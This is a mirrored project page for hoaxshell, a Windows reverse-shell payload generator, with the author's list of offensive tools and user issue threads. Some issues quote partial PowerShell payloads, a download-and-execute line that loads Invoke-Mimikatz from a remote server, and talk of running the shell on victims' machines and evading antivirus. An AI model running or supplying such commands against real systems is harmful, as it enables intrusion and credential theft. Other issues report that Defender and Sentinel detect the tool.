Giter Club home page Giter Club logo

hoaxshell's Introduction

Connect with me / Support:

Hi, I'm t3l3machus, Penetration Tester & Cybersec Researcher from Athens, Greece ๐Ÿ‡ฌ๐Ÿ‡ท, currently living in Poland ๐Ÿ‡ต๐Ÿ‡ฑ.
If you like the tools I make please show some love by following me, buymeacoffee, throwing a star here and there or just give respect on HackTheBox.

Projects:

๐Ÿ’ฅ Offensive Security Tools
Project Short Description Stars Forks
Villain A C2 backdoor generator and multi-session handler. Stars Forks
toxssin An XSS exploitation command-line interface. Stars Forks
hoaxshell A Windows reverse shell payload generator and handler that abuses the http(s)
protocol to establish a beacon-like reverse shell.
Stars Forks
psudohash A password list generator based on keywords mutated by commonly used patterns and more. Stars Forks
PowerShell-Obfuscation-Bible A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts. Stars Forks
eviltree A python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Stars Forks
wwwtree A utility for quickly and easily locating, web hosting and transferring resources during PrivEsc. Stars Forks
CVE-2023-22960 PoC for CVE-2023-22960 (Brute-force Lexmark printers). Stars Forks
Synergy Httpx A Python http(s) server designed to assist in red teaming activities such as receiving intercepted data via POST requests and serving content dynamically (e.g. payloads). Stars Forks
BabelStrike Performs Romanization and name-to-usernames convertion of full name lists. Stars Forks
pentest-pivoting A network pivoting guide for pentests / CTFs. Stars Forks
โšก Other Tools, Guides, etc
Project Short Description Stars Forks
ssh-log-alert Receive email alerts on successful ssh logins (mailgun). Stars Forks
gmail-ssh-log-alert Receive email alerts on successful ssh logins (gmail). Stars Forks
cybersec-service-metrics A spreadsheet designed to automatically generate Key Performance Indicators
for Cyber Security Services based on documented data. Ideal for Team leaders / Managers of small-medium sized organizations.
Stars Forks
Awesome-AI A list of awesome AI resources around the internet. Stars Forks
OWASP-Testing-Guide-Checklist OWASP based Web Application Security Testing Checklist. Stars Forks
:octocat: Contributions
Project Short Description Contribution
nuclei-templates Templates are the core of the nuclei scanner which powers the actual scanning engine. Templates contributed: CVE-2024-2340, sap-public-admin
reverse-shell-generatorย (revshells.com) Hosted Reverse Shell generator with a ton of functionality. Added HoaxShell and front-end style improvements.

hoaxshell's People

Contributors

brightio avatar shariqmalik avatar t3l3machus avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

hoaxshell's Issues

Ngrok support

Is there any chance to add ngrok support to be able to use ngrok instead of port-forwarding?

domain as server

./hoaxshell.py -s 0.tcp.sa.ngrok.io -p 17272 -o

โ”ฌ โ”ฌ โ”Œโ”€โ” โ”Œโ”€โ” โ”€โ” โ”ฌ โ”Œโ”€โ” โ”ฌ โ”ฌ โ”Œโ”€โ” โ”ฌ   โ”ฌ  
โ”œโ”€โ”ค โ”‚ โ”‚ โ”œโ”€โ”ค โ”Œโ”ดโ”ฌโ”˜ โ””โ”€โ” โ”œโ”€โ”ค โ”œโ”ค  โ”‚   โ”‚                                                                                                                                                                                                      
โ”ด โ”ด โ””โ”€โ”˜ โ”ด โ”ด โ”ด โ””โ”€ โ””โ”€โ”˜ โ”ด โ”ด โ””โ”€โ”˜ โ”ดโ”€โ”˜ โ”ดโ”€โ”˜                                                                                                                                                                                                    
                       by t3l3machus                                                                                                                                                                                                    

[Debug] IP address is not valid.

Any help

[BUG] Invalid server address returned by "def ngrok_address"

OS: Windows 11 Insider Preview
Python version: 3.9.6

Steps to reproduce

py hoaxshell.py -ng -i
hoaxshell> payload
...

When creating a tunnel, t=2022-10-12T21:37:19-0600 lvl=info msg="started tunnel" obj=tunnels name="command_line (http)" addr=http://localhost:8080 url=http://x-x-x-x-x.ngrok.io appears to be a "Valid address"
imagen
Then, running the payload on victim's machine, fails because of it (Invalid address)
imagen

The problem is, that ngrok's output doesn't have https:// in it,
so, using this regex:

 (url = re.compile(r".*url=(http|https):\/\/(.*)").findall()[0][1])

Doesn't throw an error and runs the reverse shell with the expected behavior

imagen

Btw sorry for my typos, i don't speak english natively :p

The ampersand (&) character is not allowed.

IEX : At line:1 char:16

  • (echo bff3dbcb & cd)
  •            ~
    

The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double
quotation marks ("&") to pass it as part of a string.
At line:1 char:256

  • ... -ne 'None') {$r=I''E''X $c -ErrorAction Stop -ErrorVariable e;$r=Out- ...
  •                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
    • FullyQualifiedErrorId : AmpersandNotAllowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand

Localtunnel not establishing connection

Hello,
I've been recently playing around with hoaxshell and trying to make its connection go through localtunnel, instead of running it on a local network. I managed to make it work with Ngok, but this has a limit of 20 connections per minute, which is easily achieved by running a few commands. With localtunnel, no errors arise when running the payload in PowerShell, but no connection is found, nothing happens. This happened both connected to the same local network and two separate ones.

Here are the commands I ran on Linux:
cd hoaxshell/
sudo python3 hoaxshell.py -lt

On windows powershell:
powershell -e JABzAD0AJwBlAGEAcwB [...] fQA=

Am I doing this correctly?
image

No shell ?

Hi Team,
Could anyone advise why i am receiving the connection back when try with netcat but nothing happening when i start the listener ?
image

Logo kindof sus

Ngl the "X" character in the logo is looking kindof sus เถž

hoaxshell is picked up by Defender for Endpoint, alerts are triggered in Sentinel and activity can be audited in Defender 365 as a result

Sentinel Alert: 'A command in PowerShell was executed by a suspicious process. PowerShell is often used by attackers to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace. An attacker might be executing commands in the system.'

Alerts are on behavior according to Defender 365
image
image
image

Is the undetectable claim for signature based detection?

Thank you

Advice for upgrade

you must need to add some more features atleast downloading and uploading to the victims pc.

UnicodeEncodeError: codec can't encode character

hi, I wanna start the reverse shell get this error :

Traceback (most recent call last):
File "hoaxshell.py", line 768, in
main()
File "hoaxshell.py", line 549, in main
chill() if quiet else print_banner()
File "hoaxshell.py", line 165, in print_banner
print(f" {''.join(final)}")
UnicodeEncodeError: 'latin-1' codec can't encode character '\u252c' in position 24: ordinal not in range(256)

its intersting that I run Villain i tha same error :
Traceback (most recent call last):
File "Villain.py", line 928, in
main()
File "Villain.py", line 509, in main
chill() if args.quiet else print_banner()
File "Villain.py", line 93, in print_banner
print(f" {''.join(final)}")
UnicodeEncodeError: 'latin-1' codec can't encode character '\u252c' in position 25: ordinal not in range(256)

how to fix it?

Issue - invoke command NOT working

PS C:\Users\Administrsator>powershell IEX(New-Object Net.WebClient).DownloadString('https://MyIP/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"' - NOT Working. Error below. its either port 443 or 4443 its not working. I downloaded mimikatz ps1 file same folder as hoaxshell.py folder.

Payload is using SSL.

Note: I replaced my ip with "myip" to hide my ip.

Exception calling "DownloadString" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1

  • powershell IEX(New-Object Net.WebClient).DownloadString('http://192.1 ...
  •   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
      + FullyQualifiedErrorId : WebException
    
    

Invoke-Mimikatz : The term 'Invoke-Mimikatz' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:108

  • ... ://MyIP:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Comman ...
  •                                               ~~~~~~~~~~~~~~~
    
    • CategoryInfo : ObjectNotFound: (Invoke-Mimikatz:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException

Embedded payload

Is possible to embedded that payload for example in image or a file ?

Domain does not work

It is not possible to use a domain instead of a ip address.

89..."parser.add_argument("-s", "--server-ip", action="store", help = "Your hoaxshell server ip address or domain.")"

darkside@darksidepi:~/hoaxshell $ ./hoaxshell.py -s exampledomain.net

โ”ฌ โ”ฌ โ”Œโ”€โ” โ”Œโ”€โ” โ”€โ” โ”ฌ โ”Œโ”€โ” โ”ฌ โ”ฌ โ”Œโ”€โ” โ”ฌ   โ”ฌ  
โ”œโ”€โ”ค โ”‚ โ”‚ โ”œโ”€โ”ค โ”Œโ”ดโ”ฌโ”˜ โ””โ”€โ” โ”œโ”€โ”ค โ”œโ”ค  โ”‚   โ”‚  
โ”ด โ”ด โ””โ”€โ”˜ โ”ด โ”ด โ”ด โ””โ”€ โ””โ”€โ”˜ โ”ด โ”ด โ””โ”€โ”˜ โ”ดโ”€โ”˜ โ”ดโ”€โ”˜
                       by t3l3machus

[Debug] IP address is not valid.

How to use hoaxshell with ngrok?

I already have ngrok installed but when I use the command python3 hoaxshell.py - ng it says ngrok is not installed.

Do I need to modify the code in hoaxshell.py to get ngrok to work? If yes please tell me how to do it.

Detected by antivirus!!

I tried to run the powershell -e * generated by hoaxshell, but it returned this error:

At line:1 char:1
+
$s='*.*.*.*:8080';$i='c55b3450-03c33f0f-4e17c4ce';$p='http://';$v
...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your
antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsError
   RecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

The sole purpose of hoaxshell is been undetectable, is there any way this could be fixed (or now antivirus has got footprint of hoaxshell)!?

package gnureadline not installing on windows python 3.10

pip3 install gnureadline==8.1.2
Looking in indexes: https://mirrors.aliyun.com/pypi/simple/
Collecting gnureadline==8.1.2
  Using cached https://mirrors.aliyun.com/pypi/packages/f2/e8/48c0162a732522c7b4568da35ed07d0db07d725f640676b4c9a8ec874d1a/gnureadline-8.1.2.tar.gz (3.1 MB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... error
  error: subprocess-exited-with-error

  ร— Getting requirements to build wheel did not run successfully.
  โ”‚ exit code: 1
  โ•ฐโ”€> [1 lines of output]
      Error: this module is not meant to work on Windows (try pyreadline instead)
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

ร— Getting requirements to build wheel did not run successfully.
โ”‚ exit code: 1
โ•ฐโ”€> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.

ModuleNotFoundError: No module named 'gnureadline'

Error with -encodedcommand base64

I used the powershell-obfuscation-bible to use randomize-variable.py to obfuscate the normal http payload but after executing it isn't spawning the shell just hangs
I ran it with powershell -e and it gives error in -encodedcommand base64 error
I tried encoding it in base64 using $c = [system.text.encoding]::utf8.getstring([system.convert]::frombase64strong($c)) but then it gives error in hoaxshell terminal error decoding to utf8

use with rubber ducky?

is it possible to make hoaxshell generate the same payload every time so you can use a rubber ducky

Not working with ngrok

Hello, when I run the command sudo python3 hoaxshell.py -ng,
I get the following error:
[Debug] Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.

ddns support

Feath-Linux% ./hoaxshell.py -s test.duckdns.org

โ”ฌ โ”ฌ โ”Œโ”€โ” โ”Œโ”€โ” โ”€โ” โ”ฌ โ”Œโ”€โ” โ”ฌ โ”ฌ โ”Œโ”€โ” โ”ฌ   โ”ฌ  
โ”œโ”€โ”ค โ”‚ โ”‚ โ”œโ”€โ”ค โ”Œโ”ดโ”ฌโ”˜ โ””โ”€โ” โ”œโ”€โ”ค โ”œโ”ค  โ”‚   โ”‚  
โ”ด โ”ด โ””โ”€โ”˜ โ”ด โ”ด โ”ด โ””โ”€ โ””โ”€โ”˜ โ”ด โ”ด โ””โ”€โ”˜ โ”ดโ”€โ”˜ โ”ดโ”€โ”˜
                       by t3l3machus

[Debug] IP address is not valid.

Not working

Whenever I try to input the payload it gets detected immediately, any idea on how to fix this? Any help would be helpfull
Thanks!

Accidental Swastika

I haven't even used this yet, but the 'X' in the image of the README looks a lot like the famous Nazi symbol. You might want to redesign that letter

Crashes when changing directory

Hi - good job on the FUD on win defender
I'm having an issue where I'm not able to cd to any dir
image
The same issue occurs when opening calc.exe -
image
Stack trace shows
hoaxshell > calc.exe----------------------------------------Exception occurred during processing of request from ('100.77.140.74', 50237)Traceback (most recent call last): File "/usr/lib/python3.10/socketserver.py", line 316, in _handle_request_noblock self.process_request(request, client_address) File "/usr/lib/python3.10/socketserver.py", line 347, in process_request self.finish_request(request, client_address) File "/usr/lib/python3.10/socketserver.py", line 360, in finish_request self.RequestHandlerClass(request, client_address, self) File "/usr/lib/python3.10/socketserver.py", line 747, in init self.handle() File "/usr/lib/python3.10/http/server.py", line 425, in handle self.handle_one_request() File "/usr/lib/python3.10/http/server.py", line 413, in handle_one_request method() File "/opt/hoaxshell/hoaxshell.py", line 306, in do_POST to_b_numbers = [ int(n) for n in bin_output ] File "/opt/hoaxshell/hoaxshell.py", line 306, in to_b_numbers = [ int(n) for n in bin_output ]ValueError: invalid literal for int() with base 10: ''
doesn't seem to me it is the syntax either -
image

Invoke-WebRequest and Invoke-Expression

When I try to run the payload from my Linux Kali VMWARE machine on my Win11 pc, I get the Invoke-WebRequest cant establish a connection to remote desktop and Invoke-Expression : Cannot bind argument to parameter 'Command' because it is null.

Any ideas how to fix this?

Antivirus blocked it

when running the payload, I get "This script contains malicious content and has been blocked by your antivirus software" bummer

Cant install gnureadline

Unable to install requirements.txt cause of gnureadline

`Using cached gnureadline-8.1.2.tar.gz (3.1 MB)
Installing build dependencies ... done
Getting requirements to build wheel ... error
error: subprocess-exited-with-error

ร— Getting requirements to build wheel did not run successfully.
โ”‚ exit code: 1
โ•ฐโ”€> [1 lines of output]
Error: this module is not meant to work on Windows (try pyreadline instead)
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

ร— Getting requirements to build wheel did not run successfully.
โ”‚ exit code: 1
โ•ฐโ”€> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.`

edit: solved

when i try to paste it it to power shell i get this error

Invoke-Expression : Cannot bind argument to parameter 'Command' because it is null. At line:1 char:289 + ... rs @{"X-7f3a-d0cd"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorA ... + ~~ + CategoryInfo : InvalidData: (:) [Invoke-Expression], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.InvokeExpre ssionCommand

Don't use IE

if you never used IE ,You can avoid this attack.
image

Detected by fully patched Win10 Machine with no additional ANtivirus

Hello there, i have tested Hoaxshell 3 days ago on my machine and it worked with fully patched windows with Defender active.

Now, when i launch the payload on target, it shows

"This skript contains malicious content and is blocked by your antivirus software"

sadly i have no screens or else, because my pc is in german.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.